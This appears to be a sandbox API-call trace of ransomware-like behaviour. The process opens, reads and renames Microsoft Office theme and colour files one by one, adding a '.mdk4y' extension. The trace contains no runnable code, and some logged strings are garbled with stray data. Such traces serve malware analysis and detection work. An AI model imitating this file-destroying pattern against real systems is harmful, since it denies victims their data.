[0176.553] AreFileApisANSI () returned 1 [0176.553] GetACP () returned 0x4e4 [0176.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Module.thmx", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Module.thmx", lpUsedDefaultChar=0x37dfd8) returned 11 [0176.554] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.582] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825181200000) returned 1 [0176.582] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1583a, lpOverlapped=0x0) returned 1 [0176.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825182600000) returned 1 [0176.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825182600000) returned 1 [0176.597] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx.mdk4y")) returned 1 [0176.624] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.624] AreFileApisANSI () returned 1 [0176.624] GetACP () returned 0x4e4 [0176.624] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Newsprint.thmx", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Newsprint.thmx", lpUsedDefaultChar=0x37dfd8) returned 14 [0176.624] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825185600000) returned 1 [0176.626] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x96ac7, lpOverlapped=0x0) returned 1 [0176.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825188100000) returned 1 [0176.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825188100000) returned 1 [0176.658] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx.mdk4y")) returned 1 [0176.660] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.660] AreFileApisANSI () returned 1 [0176.660] GetACP () returned 0x4e4 [0176.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Opulent.thmx", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Opulent.thmxmx", lpUsedDefaultChar=0x37dfd8) returned 12 [0176.660] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825189200000) returned 1 [0176.662] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x132b9, lpOverlapped=0x0) returned 1 [0176.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825190400000) returned 1 [0176.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825190400000) returned 1 [0176.676] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx.mdk4y")) returned 1 [0176.677] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.677] AreFileApisANSI () returned 1 [0176.677] GetACP () returned 0x4e4 [0176.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oriel.thmx", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Oriel.thmxmx", lpUsedDefaultChar=0x37dfd8) returned 10 [0176.678] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825190900000) returned 1 [0176.679] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x16ef4, lpOverlapped=0x0) returned 1 [0176.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825193500000) returned 1 [0176.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825193500000) returned 1 [0176.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx.mdk4y")) returned 1 [0176.708] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.708] AreFileApisANSI () returned 1 [0176.708] GetACP () returned 0x4e4 [0176.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Origin.thmx", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Origin.thmxx", lpUsedDefaultChar=0x37dfd8) returned 11 [0176.708] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825193900000) returned 1 [0176.710] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1540b, lpOverlapped=0x0) returned 1 [0176.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825195200000) returned 1 [0176.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825195200000) returned 1 [0176.723] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx.mdk4y")) returned 1 [0176.724] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.724] AreFileApisANSI () returned 1 [0176.724] GetACP () returned 0x4e4 [0176.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Paper.thmx", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Paper.thmxx", lpUsedDefaultChar=0x37dfd8) returned 10 [0176.724] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.725] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825195500000) returned 1 [0176.725] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x421e6, lpOverlapped=0x0) returned 1 [0176.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825196800000) returned 1 [0176.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825196800000) returned 1 [0176.740] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx.mdk4y")) returned 1 [0176.742] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.742] AreFileApisANSI () returned 1 [0176.742] GetACP () returned 0x4e4 [0176.742] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Perspective.thmx", cchWideChar=16, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Perspective.thmxff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 16 [0176.742] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.743] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825197300000) returned 1 [0176.743] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd15a, lpOverlapped=0x0) returned 1 [0176.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825197800000) returned 1 [0176.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825197800000) returned 1 [0176.749] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx.mdk4y")) returned 1 [0176.750] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.750] AreFileApisANSI () returned 1 [0176.750] GetACP () returned 0x4e4 [0176.750] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Pushpin.thmx", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Pushpin.thmxthmx", lpUsedDefaultChar=0x37dfd8) returned 12 [0176.750] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.751] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825198100000) returned 1 [0176.751] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xc97ce, lpOverlapped=0x0) returned 1 [0176.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825200800000) returned 1 [0176.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825200800000) returned 1 [0176.784] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx.mdk4y")) returned 1 [0176.786] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.786] AreFileApisANSI () returned 1 [0176.786] GetACP () returned 0x4e4 [0176.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Slipstream.thmx", cchWideChar=15, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Slipstream.thmxx", lpUsedDefaultChar=0x37dfd8) returned 15 [0176.786] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825201700000) returned 1 [0176.787] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x106e8, lpOverlapped=0x0) returned 1 [0176.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825205500000) returned 1 [0176.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825205500000) returned 1 [0176.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx.mdk4y")) returned 1 [0176.827] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.827] AreFileApisANSI () returned 1 [0176.827] GetACP () returned 0x4e4 [0176.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Solstice.thmx", cchWideChar=13, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Solstice.thmxmx", lpUsedDefaultChar=0x37dfd8) returned 13 [0176.827] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825205800000) returned 1 [0176.828] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x124a0, lpOverlapped=0x0) returned 1 [0176.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825207200000) returned 1 [0176.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825207200000) returned 1 [0176.843] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx.mdk4y")) returned 1 [0176.845] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.845] AreFileApisANSI () returned 1 [0176.845] GetACP () returned 0x4e4 [0176.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Technic.thmx", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Technic.thmxx", lpUsedDefaultChar=0x37dfd8) returned 12 [0176.845] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825207600000) returned 1 [0176.846] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x10d83, lpOverlapped=0x0) returned 1 [0176.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825210100000) returned 1 [0176.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825210100000) returned 1 [0176.872] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx.mdk4y")) returned 1 [0176.873] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.873] AreFileApisANSI () returned 1 [0176.873] GetACP () returned 0x4e4 [0176.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thatch.thmx", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Thatch.thmxx", lpUsedDefaultChar=0x37dfd8) returned 11 [0176.873] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825210400000) returned 1 [0176.874] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x15d75, lpOverlapped=0x0) returned 1 [0176.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825212800000) returned 1 [0176.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825212800000) returned 1 [0176.899] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx.mdk4y")) returned 1 [0176.900] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.900] AreFileApisANSI () returned 1 [0176.900] GetACP () returned 0x4e4 [0176.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Theme Colors", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Theme Colors", lpUsedDefaultChar=0x37dfd8) returned 12 [0176.900] AreFileApisANSI () returned 1 [0176.900] GetACP () returned 0x4e4 [0176.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9898, cbMultiByte=66, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\ƨ") returned 66 [0176.904] AreFileApisANSI () returned 1 [0176.904] GetACP () returned 0x4e4 [0176.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37df4c) returned 1 [0176.904] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.905] AreFileApisANSI () returned 1 [0176.905] GetACP () returned 0x4e4 [0176.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37df4c) returned 2 [0176.905] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.905] AreFileApisANSI () returned 1 [0176.905] GetACP () returned 0x4e4 [0176.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Adjacency.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Adjacency.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0176.905] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0176.906] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825213600000) returned 1 [0176.906] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3a0, lpOverlapped=0x0) returned 1 [0176.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825214600000) returned 1 [0176.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825214600000) returned 1 [0176.916] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.mdk4y")) returned 1 [0176.917] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0176.917] AreFileApisANSI () returned 1 [0176.917] GetACP () returned 0x4e4 [0176.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Angles.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Angles.xmlxml", lpUsedDefaultChar=0x37df4c) returned 10 [0176.917] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0176.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825214700000) returned 1 [0176.917] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, 